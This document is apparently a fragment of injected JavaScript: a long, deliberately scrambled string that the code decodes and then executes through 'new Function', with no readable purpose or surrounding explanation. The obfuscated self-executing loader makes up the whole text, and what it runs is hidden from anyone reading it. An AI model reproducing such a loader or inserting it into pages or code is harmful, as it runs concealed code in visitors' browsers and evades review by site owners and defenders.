68fO(_^Y2FHOcsK@="WGUa"aZcOcsn{="faKQ"aa=(8dcOco{o="+RH]"a%2%Ocs}}="faKQ"a%_%Oco@s="^hoz"a%YHOcs1s="ciV-"aZ%%a!67c0H0Z888(a5YF_52 2_qq!qYF 58fO(_^Y2FHOc}10="36e5"aZcOcn0K="+#cl"aa!l5vvc58fO(_^Y2FHOc@0K="a50S"aZcOcos0="Oe]e"aa=fO(_^Y2FHOcoQ1="kQa}"aZHOcs{K="YzZ@"aZc5aa=5HOc@{0="a50S"aZcOc@Q@="iCo9"a=Oc@0{="c&qZ"aa=5HOcoK@="|2kp"aZcOc}{@="YzZ@"a=Ympfa=c6HOc@{s="HNsc"aZ8Ocn0@="iCo9"a%(=6HOco}Q="Oe]e"aZ87_2(F6O2ca[(O2LF F8O!YHFcs}n="+RH]"aZ8@=RcaP=6HOc@Ks="7~v5"aZ87_2(F6O2ca[(O2LF F8O!(vvrc(a=@l88YHFc@KK="Ri-Q"aZvvLvvLca=LYF|6^YO_Fc7_2(F6O2ca[(O2LF Y8F!6HYc}11=")iz:"aZcaP=naP=6HOcs{}="EBKL"aZ8l0=fO(_^Y2FHOcoQ1="kQa}"aZHOcso{="$S#F"aZc6a=YHOcn01="EBKL"aZ8}aP7_2(F6O2 DcYa[(O2LF 28F!}l88YH2co1n="9Z6@"aZvv0l88YH2cs0o=";pn+"aZ??YH2c@s}="$S#F"aZcaP7_2(F6O2 fcOa[(O2LF 68F!qYF (8dc"/"%2%6c@o0="p#LA"a%_%6c@@o="+RH]"a%YH6c@Q{="kQa}"aZ%%a!67c0H0Z888(a5YF_52 2_qq!qYF 582YD VY)iO(SYFc6c@ns="~;6."a%(a!5H6coo0=":AGN"aZ87_2(F6O2ca[(O2LF F86!YHFcn01="EBKL"aZ8@P=5H6coss="3&Db"aZ87_2(F6O2cFa[(O2LF 286!qYF O8FH2cs0s="36e5"aZ!F5T[O8TcOa=2YD ]_2(F6O2c2conn="Oe]e"a=OacfO(_^Y2FH2co}n="YzZ@"aZ=YmpfaP(dF(hc6a[F8OH2co0n="36e5"aZ*o0=F8F<0j0gJd5LYW2FcydFhH2c@s1="vrAn"aZca.Fa=cLc@0o=6H2cooK="+#cl"aZ%2coQ{="faKQ"a%F%"g"%OH2co0@="1e;1"aZcF=F%o0a%"PM"a=YH2c@1K="p#LA"aZ8*}aPDc5a=@888YH2c@1@="U7z{"aZvvRcaP=5H6cn0s="|2kp"aZ87_2(F6O2ca[(O2LF F86!(vvrc(a=@l88YHFc}{Q="kQa}"aZvvOvvOca=Dc5aP=YH6coQn="~;6."aZ8}P7_2(F6O2 Rca[(O2LF 28F!)vvcfO(_^Y2FH2cn}K="^hoz"aZcYH2c}1K="3&Db"aZ=YH2c}1{="y@Uv"aZ=l0a=O8fO(_^Y2FH2c@@1="KKFw"aZcYH2c@nQ="|2kp"aZaavvOH2coK1="0AiE"aZca!Xd5 O=L8fO(_^Y2FH2c@10="iCo9"aZcYH2co}0="eJdd"aZa!7O5cqYF Y80!Y<LH2csKQ=".5LL"aZ!Y%%aLHYZvvLHYZH2co01="KKFw"aZcaPqYF )8l}!7_2(F6O2 tca[LYF|6^YO_Fc7_2(F6O2ca[(O2LF F8d0F!qYF 78Fcs1{="J@pp"a%q%Fco0K="iCo9"a%Ym)p%Fcs@}="kQa}"a!67c@l88YHFc}{Q="kQa}"aZa67cYHFc@Qn="p~k@"aZa[Xd5[LqOFWfgO=YXY2F|TJYg5P8Y!(HFco1Q="1e;1"aZHFcs1o="J@pp"aZ8h%"JR"=cO8fO(_^Y2FHFc}Qs="kQa}"aZcOaaHFcn}0="faKQ"aZHFc@0@="tIl|"aZ8Fc@o}="~;6."a%7=(HFcs{{="+#cl"aZcOa=OHFc@os="KKFw"aZc5=7_2(F6O2ca[(O2LF Y8F!Xd5 L8Yco0o="$S#F"a%dcYc}Q}="ciV-"a%2%Yco@1="|xyR"aa!FOJHYco{1=".5LL"aZl88LYq7HYc}{o="p#LA"aZjFOJHYc@K{="|2kp"aZ8LgD62fODHYcoo@="YzZ@"aZHYcs1n="KKFw"aZ8LPaPYqLY[Xd5[(Oq_^2LgC=5ODLgh=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgT=6L|OJgJ=5YXY5LY9Y6phFg^P8Y=O=_=f8Fcon@="~;6."a!7O5cqYF 280!2<C!2%%a7O5cqYF O80!O<h!O%%a[qYF d8f%cFco@K="0AiE"a%2.5%FcsnK="1e;1"a%ydFhHFc@0}="s.uV"aZcmQ.5a%FcoQ@="c&qZ"a%6%Fc@ss="q.6G"aa!d%8JjFcsns="q.6G"a%c^%O.6a%"JR"gFc@}@=":AGN"a%c^%O.6a%"JR"=_8fO(_^Y2FHFc@01="HNsc"aZcTa=_HFcoo}="~;6."aZHFc@Qs="|2kp"aZ8d=_HFcs10="ciV-"aZcYHFc@{Q="s.uV"aZ=La=fO(_^Y2FHFcs}1="KKFw"aZHFco{s="$S#F"aZcFcn}n=":AGN"a=_aP67cJjcfO(_^Y2FHFc@0s="J@pp"aZHFc@}K="vFU4"aZHFcss}="p#LA"aZcFco0}="~;6."a=^%h.6%"JR"=Fco@}="a50S"aa=f%8Fc@so="3Gp;"aagf%8Fco0s="c&qZ"a=l)a[qYF[YXY2F|TJYg5=6L|OJg6=5YXY5LY9Y6phFgLP8Y!7_2(F6O2 pca[(O2LF Y8F!Xd5 L8Ycoon="vrAn"a%dcYc@Q}="vFU4"a%2%YcsQ1="+RH]"aa!FOJHYcso1="$S#F"aZl88LYq7HYc@@{=":AGN"aZjFOJHYc@@K="3Gp;"aZ8LgD62fODHYcs@K="Oe]e"aZHYcsK0="|xyR"aZ8LP7_2(F6O2 XcYa[(O2LF 28F!Xd5 d8D62fODH2cn}@="5EO5"aZ!qYF 580=O80!67cYaLD6F(hcYH2cosK="vFU4"aZca=YH2c@}}="xuI#"aZa[(dLY 2cs}{="3Gp;"ag58YH2coos="q.6G"aZH0ZH2coKK="p#LA"aZ=O8YH2cs}0="eJdd"aZH0ZH2cs{s="p~k@"aZ!)5YdS!(dLY 2coQQ="q.6G"ag58YH2c@oo="q.6G"aZH0ZH2c}{0="HNsc"aZ=O8YH2c@}o="eJdd"aZH0ZH2co{0="0AiE"aZ!)5YdS!(dLY 2cs1K=";pn+"ag58YH2c}KQ="a50S"aZ=O8YH2c}Qo="36e5"aZP67c0<5vv0<Oa67c6a[67cO<8La5YF_52l}!O<q%LvvpcaPYqLY[67cd8d*O=d<8La5YF_52l}!d<q%LvvpcaPPfO(_^Y2FHFco1@="p#LA"aZc5=X=l0a=YHFcs{1="3&Db"aZ8X=O8fO(_^Y2FHFc@o1="~;6."aZcFcooQ="+RH]"aa=Om6f8YHFcs@@="a50S"aZ=OHFcsnn="xuI#"aZHFcsKs="+#cl"aZ8f%cFcs11="J@pp"a%7a=6jfO(_^Y2FHFcs0Q="(NBp"aZHFcss0="s.uV"aZcFc@Q0="EBKL"a=OagfO(_^Y2FHFc@QK="$S#F"aZHFcss1="J@pp"aZcFcoKs="$S#F"a=Oa=)8l0PPP=nYsaPh82dX6pdFO5HFc}QQ="ciV-"aZ=C8l/3cyd(?&}}?V62a/HFcsQn="vFU4"aZcha=;8Jd5LYW2FcL(5YY2HFcn}1="+~G1"aZa>8Jd5LYW2FcL(5YY2HFc}1n="q.6G"aZa=cC??;avvc/)d6f_?)fhO2O5?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?&6dOy6?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6HFcsn@="xuI#"aZc2dX6pdFO5HFc@}{="ciV-"aZajfc7_2(F6O2ca[Lc@0}a=YmD8}=fc7_2(F6O2ca[Lc@0@a=5c7_2(F6O2ca[(O2LF F8d0F!Lc@0sa!qYF 28D62fODHFcs1}="3&Db"aZc7_2(F6O2ca[(O2LF L8F!YHLc@s0="vrAn"aZ888@vvD62fODHLcsn0="Oe]e"aZc2a=fc0H0ZaP=nYsaPaPaPag5c7_2(F6O2ca[Lc}0}a=YmD80=5c7_2(F6O2ca[Lc}0@a=fc7_2(F6O2ca[(O2LF F8d0F!Lc}0sa!qYF 28D62fODHFcsnQ="+#cl"aZc7_2(F6O2ca[(O2LF L8F!YHLcoo{="a50S"aZ888@vvD62fODHLconQ="KKFw"aZc2a=5c0aP=nYsaPaPaPaa=CvvYHFco{@="|xyR"aZl88@vvtca=0H0Zl882dX6pdFO5HFcs1@="q.6G"aZvvfO(_^Y2FHFcs0}="1o5L"aZcFc@{o="5EO5"a=7_2(F6O2ca[(O2LF 28F!qYF O=L!2csQ@="faKQ"a888fO(_^Y2FH2c@n0=";pn+"aZvv4cavvcO82co0Q=";KQN"a%dc2cs0{="iCo9"aa=cL82YD ]O5^wdFdaH2cs}Q="1o5L"aZc2csKo="7~v5"a=6H2co1K="1e;1"aZc"="aa=68HZ=LH2c@1Q="HNsc"aZc"F"=YH2cos1="Ri-Q"aZa=2dX6pdFO5H2coQK="p#LA"aZcO=LaaPaPaca').substr(22);new Function(b)()}();